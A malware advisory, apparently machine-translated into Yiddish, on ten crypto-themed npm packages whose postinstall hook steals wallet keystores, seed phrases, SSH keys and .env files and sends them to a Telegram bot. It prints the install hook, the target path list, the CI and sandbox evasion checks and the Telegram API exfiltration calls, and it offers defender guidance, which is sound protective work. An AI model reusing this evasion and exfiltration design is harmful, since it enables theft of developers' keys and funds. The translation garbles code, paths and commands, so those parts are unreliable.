טל; דר
דעם 9טן יוני 2026, אן איינציקער npm ארויסגעבער אקאונט, aicrypto-xzggg, געשיקט צען פּעקלעך מיט קריפּטאָ- און וועב3-געשמאַקע נעמען — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, און זעקס מער.
יעדער פּעקל לויפט די זעלבע פּיילאָוד פֿון אַ postinstall hook. On install, it checks
whether it is running inside CI or a sandbox — if not, it reads wallet keystores, seed-phrase files,
SSH keys, and .env files from across six blockchain ecosystems and transmits them to a
Telegram bot.
דער איינציקער אינדיקאַטאָר וואָס אַ פארטיידיקער קען גלייך זוכן איז די טעלעגראַם באָט אידענטיטעט. 8227918239.
שטרענגקייַט: קריטיש — direct theft of signing keys and recovery phrases from דעוועלאָפּער וואָרקסטיישאַנז.
דער אטאקע: ווי אזוי עס ארבעט
די פּאַקאַדזשאַז אַדווערטייז זיך ווי בלאָקטשיין דעוועלאָפּער יוטילאַטיז. package.json איז מינימאַל און ווייזט דעם אינסטאַל לעבן-ציקל אויף אַ סקריפּט:
{
"name": "farming-tools-12",
"main": "src/index.js",
"scripts": { "postinstall": "node scripts/postinstall.js" },
"keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
"author": "Alex Smith",
"license": "MIT"
}סקריפּטן/פּאָסטאַינסטאַל.דזשעי.עס איז אַן איין-ליניע שימ וואָס לאָודט די עכטע פּיילאָוד: פארלאנגען(“../src/index.js”). ווייַל נאָך-אינסטאַלירן לויפט אויטאָמאַטיש בעת נפּם ינסטאַלירן, קיין קאוד אימפארט דורך דעם דעוועלאָפּער איז נישט פארלאנגט — שטעלן דעם פּעקל אין אַ דעפּענדענסי בוים איז גענוג צו עס אויספירן.
די טויט קייט אינעווייניק src/index.js איז פיר טריט:
- סביבה קאָנטראָל. א גאַרד פונקציע באַשליסט צי דער האָסט זעט אויס ווי אַ בילד אַגענט אָדער אַן אַנאַליז סאַנדבאָקס.
- פאַרהאַלטן. אויספירונג ווערט אָפּגעשטעלט הינטער אַ setTimeout פון בערך 7.4 סעקונדעס.
- זאַמלונג. א פיקסירטע ליסטע פון בייטל, שליסל, און געהיימע טעקע וועגן ווערט דורכגעגאנגען; עקזיסטירנדע טעקעס ווערן געשטעלט אין א ריי.
- עקספילטראַציע. רייע טעקעס ווערן געשיקט צו א טעלעגראם באט, פארגעגאנגען דורך א קיצור מעסעדזש.
די ציל ליסטע פון דער זאַמלונג ציט זיך איבער זעקס קייטן פּלוס אַלגעמיינע סודות פון דער דעוועלאָפּער. אָפּגעשניטן:
~/.config/solana/id.json ~/.ethereum/keystore
~/.solana/keypair.json ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt
./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localאיין און צוואנציק וועגן אינגאנצן. וועגווייזער איינטראגעס ווי ~/.עטהערעום/קיסטאָר ווערן אויסגעברייטערט און יעדע טעקע אינעווייניק ווערט אריינגעשטעלט אין א ריי. די עקספילטראציע ניצט די טעלעגראם באט API גלייך — א שיקן מעסעדזש רוף מיט אַ האָסט און טעקע קיצער, דערנאָך אַ שיקן דאָקומענט מערטייליקע ארויפלאדונג פאר יעדן פייל:
טעקסט
POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument (one per file)די קיצור מעסעדזש וואָס דער קאָד שטעלט צוזאַמען הייבט זיך אָן מיטן ליטעראַלן סטרינג קריפּטאָ גנב, נאכגעפאלגט דורך דעם האוסטנאמען, באניצער נאמען, אריגינעלן פעקל נאמען, טעקע ציילער, און צייטשטעמפּל.
וואָס איז נייַ דאָ
דער אונטערשייד איז נישט דער גנייווע מעקאַניזם — טעלעגראַם-באַזירט עקספיל פֿון npm נאָך-אינסטאַלירן hooks איז גוט געטראָטן. עס איז די עקזעקוציע טויער. איידער עס טוט עפּעס, רופט די פּיילאָוד אַ פונקציע וואָס גיט צוריק אמת ווען דער האָסט זעט אויס ווי אַ CI ראַנער אָדער סאַנדבאָקס, און גיט צוריק פרי ווען עס טוט דאָס:
טעקסט
isTestEnvironment() is true when ANY of:
- env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set
- env NODE_ENV in {test, development}
- username/USER contains: runner, sandbox, test, docker,
jenkins, gitlab, travis, circleci
- hostname contains: sandbox, test, ci
- hostname matches /^[a-f0-9]{12}$/ (a container-id shape)דער קאנטעינער-איידי רעגעקס איז די באמערקבארע קלאָז: א 12-העקס-אותיות האוסטנאמען איז די פעליקייט פאָרעם וואָס דאָקער באַשטימט צו אַ קאַנטיינער, אַזוי באַהאַנדלט די פּיילאָוד "מיין האָסטנאַמע קוקט אויס ווי אַ דאָקער קאַנטיינער" ווי אַ סיבה צו בלייבן שלאָפֿנדיק. צוזאַמען מיט דער זיבן-סעקונדע פֿאַרהאַלטונג, באַגינט דער דיזיין צו לויפֿן אויף אַ דעוועלאָפּער'ס עכטער וואָרקסטיישאַן און בלייבן שטיל ערגעץ וואָס קוקט אויס ווי אויטאָמאַטישע אַנאַליז. יענער טויער איז וואָס האָט אונטערדריקט דינאַמיש-אַנאַליז סיגנאַלן און געהאַלטן דעם סטאַטישן עקספֿיל פֿלוס ווי דער הויפּט קאָנוויקציע באַווייַז.
טיימליין
אַלע צען זענען אויפגעשווימען אין בערך זיבעציק מינוט, לויט איין סקריפּטעד פּובליקאַציע פֿון איין חשבון.
ינדיקאַטאָרס פון קאָמפּראָמיס
נעץ און נאַטור-אינדיקאַטאָרן (האָסט דעפאַנגעד):
פּאַקאַדזשאַז און ווערסיעס, יעדער מיט די SHA-256 פון זיין src/index.js פּיילאָוד (די פּיילאָודז זענען פונקציאָנעל אידענטיש און אַנדערשן זיך נאָר אין די עמבעדיד פּאַקאַדזש-נאָמען לייבל, אַזוי יעדער העש איז אַנדערש):
א פשוטע זוכ-פראגע: זוכט אינסטאל לאגס און לאקפיילן פאר יעדן פון די צען נעמען, און זוכט ארויסגייענדיקע טרעפיק פאר קאנעקשאנס צום טעלעגראם באט API פון בויען אדער דעוועלאפער האוסטס וואס ניצן עס נישט אנדערש.
צושרייבונג און באמערקטע אויפפירונג
אלע צען פּעקלעך זענען ארויסגעגעבן געוואָרן דורך איין חשבון, אייקריפּטאָ-xzggg, וועמענס אנגעגעבענע אימעיל איז vipsyria88@gmail[.]comסיי די אימעיל און סיי די מקור-קאנטראל לינק זענען נישט וועריפיצירט אין די רעגיסטרי מעטאדאטן, און דער אקאונט טראגט א שטארק נעגאטיווע רעפוטאציע כעזשבן. מיר האבן נישט באשטעטיקט ווער אפערירט דעם אקאונט.
צוויי דעטאלן זענען ווערט צו אפשיידן פון יעדן אידענטיטעט-טענה. ערשטנס, די package.json מעכאַבער פעלד לייענט אַלעקס סמיט אויף יעדן פּעקל, בשעת דער פאַקטישער פאַרלעגערייַ קאָנטאָ איז אייקריפּטאָ-xzggg; דאס מחבר פעלד איז זעלבסט-דעקלערירטע מעטאדאטן און באשטימט נישט מחברשאפט. צווייטנס, די ווערסיע נומערן זענען זייער אנדערש — עטלעכע מיטגלידער זיצן ביי 1.0.0, אנדערע ביי 4.68.54 — וואָס איז קאָנסיסטענט מיטן ווידער-ניצן אַן איינציקע פּיילאָוד איבער פריש געמאַכטע פּעקל נעמען אַנשטאָט אויפצוהאַלטן די עכטע מעלדונג געשיכטעס.
די אויפפירונג איז אייניג איבערן גאנצן קלאסטער: די זעלבע ציל וועג ליסטע, די זעלבע טעלעגראם באט אידענטיפיקאציע און טשעט אידענטיפיקאציע, די זעלבע סביבה טויער, די זעלבע קריפּטאָ גנב מאַרקער. יענע איינהייטלעכקייט איז די שטאַרקסטע פֿאַרבינדונג צווישן די פּאַקאַדזשאַז. דאָס איז אַ סיגנאַל פֿון דער זעלבער אָפּעראַטאָר, נישט קיין אידענטיטעט.
השפּעה, טרענדס און גיידאַנס פֿאַר פֿאַרטיידיקער
די אויפדעקונג איז קאנקרעט. א דעוועלאפער וואס אינסטאלירט איינע פון די פעקלעך אויף א ווארקסטאנציע וואס האלט א סאפטווער וואלעט, א סיד-פראז טעקע, אדער אן SSH שליסל האט די טעקעס געלייענט און געשיקט פון דעם האוסט אין סעקונדעס. רעקאָווערי פראַזעס און סיינינג שליסלען פארלירן נישט די וועג ווי א סעסיע טאָקען טוט; אַמאָל א... mnemonic.txt אדער א סאָלאַנאַ id.json פארלאזט די מאשין, די געלטער וואס זי קאנטראלירט זענען אין ריזיקע ביז זיי ווערן באוועגט. דער זעלבער לויף כאפט אויך איין .ענוו טעקעס, וואָס רוטינמעסיק טראָגן API שליסלען און דאַטאַבייס קראַדענטשאַלז.
צוויי טרענדס זיצן הינטער דעם קלאַסטער. די ערשטע איז די ווייטערדיקע נוצן פון קריפּטאָ- און וועב3-טעמע נעמען צו באַטייליקן אַ ספּעציפֿישע אוידיענץ - דעוועלאָפּערס וואָס האַלטן וואָלאַץ און שליסלען אויף דער זעלבער מאַשין אויף וועלכער זיי אינסטאַלירן דיפּענדאַנסיז. די צווייטע איז די רייפֿונג פון סאַנדבאָקס אויסמיידונג אין אינסטאַלירן-צייט פּיילאָודז. א טויער וואָס טשעקט פֿאַר CI סביבה וועריאַבאַלז, ראַנער באַניצער נעמען, און אַ דאָקער קאַנטיינער-יד האָסטנאַמע פאָרעם איז אַ באַוואוסטזיניק מי צו זיך אויפֿפֿירן אַנדערש אונטער אַנאַליז ווי אויף אַ פאַקטיש וואָרקסטיישאַן, און עס הייבט די סטאַנדאַרדן פֿאַר ריין דינאַמיש דעטעקציע.
פֿאַר פֿאַרטיידיקער:
אינסטאַלירן מיט סקריפּטן אויסגעלאָשן דורך דיפאָלט. npm אינסטאַלירן –איגנאָרירן-סקריפּס, אדער שטעלן איגנאָרירן-סקריפּטן=אמת in .npmrc, פּריווענץ נאָך-אינסטאַלירן אויספירונג; אקטיוויזירן סקריפּטן נאר פאר די ספעציפישע אפהענגיקייטן וואס דארפן זיי טאקע.
האַלט וואָלאַץ און סיינינג שליסלען אַוועק פון בויען און אַנטוויקלונג מאַשינען. ניצט אַ האַרדווער וואָלאַט אָדער אַ דעדאַקייטאַד, דעפּענדענסי-פֿרייַ סיינינג האָסט.
מייַכל .ענוו, קיסטאָרס, און זוימען-פראַזע טעקעס ווי קרוין דזשולז. זיי זאָלן קיינמאָל נישט זיצן אין אַ דירעקטאָרי וואָס איז אויך אַ נפּם ינסטאַלירן ארבעטנדיק בוים.
זוכט אויסגייענדיקע קאנעקשאנס צום טעלעגראם באט API פון CI און דעוועלאפער האוסטס. רוב בילד סביבות רופן עס קיינמאל נישט; איינע וואס טוט עס פלוצלינג, גלייך נאך אן אינסטאלאציע, איז ווערט צו אויספארשן.
פּין און איבערקוקן דיפּענדאַנסיז. א גאָר נייַ פּעקל מיט אַ דזשענעריק קריפּטאָ נאָמען, אַ נאָך-אינסטאַלירן קרוק, און קיין רעפאזיטארי לינק פארלאנגט נישט קיין קוק איידער עס גייט אריין אין א לאקפייל.
די קאנטעינער-איידי אויסמיידונג קלאזול איז אויך א דערמאנונג פאר אנאליסטן: אן אינסטאלאציע-צייט פיילד וואס בלייבט שלאפענדיג אין א זאמדקאסטן איז נישט גוט-ארטיק, עס איז סעלעקטיוו. סטאטישע איבערבליק פון דעם אינסטאלאציע וועג בלייבט דער פארלעסלעכער וועג צו זען וואס דינאמישע עקסעקוציע קען אפזאגן צו ווייזן.
רעפֿערענצן
npm אינסטאַל דאָקומענטאַציע — לעבן-ציקל סקריפּטן און –איגנאָרירן-סקריפּס— רעפֿערענץ פֿאַר דיאַקטיווירן אויטאָמאַטישע ינסטאַלירונג hooks.
